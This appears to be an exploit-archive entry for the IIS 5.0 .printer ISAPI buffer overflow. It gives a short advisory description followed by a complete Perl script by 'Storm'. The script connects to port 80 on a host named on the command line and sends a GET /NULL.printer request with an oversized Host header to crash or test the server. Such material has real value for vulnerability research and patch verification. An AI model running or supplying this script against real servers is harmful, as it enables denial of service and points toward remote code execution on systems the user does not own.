Microsoft IIS 5.0 - .printer ISAPI Extension Buffer Overflow Vulnerability (1)

                                                #source: http://www.securityfocus.com/bid/2674/info

#Windows 2000 Internet printing ISAPI extension contains msw3prt.dll which handles user requests. Due to an unchecked buffer in msw3prt.dll, a maliciously crafted HTTP .printer request containing approx 420 bytes in the 'Host:' field will allow the execution of arbitrary code. Typically a web server would stop responding in a buffer overflow condition; however, once Windows 2000 detects an unresponsive web server it automatically performs a restart. Therefore, the administrator will be unaware of this attack.

#* If Web-based Printing has been configured in group policy, attempts to disable or unmap the affected extension via Internet Services Manager will be overridden by the group policy settings. 

#!/usr/bin/perl
# Exploit By [email protected]
# Tested with sucess against Win2k IIS 5.0 + SP1
# Remote Buffer Overflow Test for Internet Printing Protocol 
# This code was written after eEye brought this issue in BugTraq.


use Socket;


print "-- IPP - IIS 5.0 Vulnerability Test By Storm --\n\n";

if (not $ARGV[0]) {
	print qq~
 		Usage: webexplt.pl <host>
	~; 
exit;}


$ip=$ARGV[0];

print "Sending Exploit Code to host: " . $ip . "\n\n";
my @results=sendexplt("GET /NULL.printer HTTP/1.0\n" . "Host: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n\n");
print "Results:\n";

if (not @results) {
	print "The Machine tested has the IPP Vulnerability!";
}
print @results;

sub sendexplt {
        my ($pstr)=@_; 
	$target= inet_aton($ip) || die("inet_aton problems");
        socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
                die("Socket problems\n");
        if(connect(S,pack "SnA4x8",2,80,$target)){
                select(S);              
		$|=1;
                print $pstr;            
		my @in=<S>;
   	        select(STDOUT);
	        close(S);
                return @in;
        } else { die("Can't connect...\n"); }
}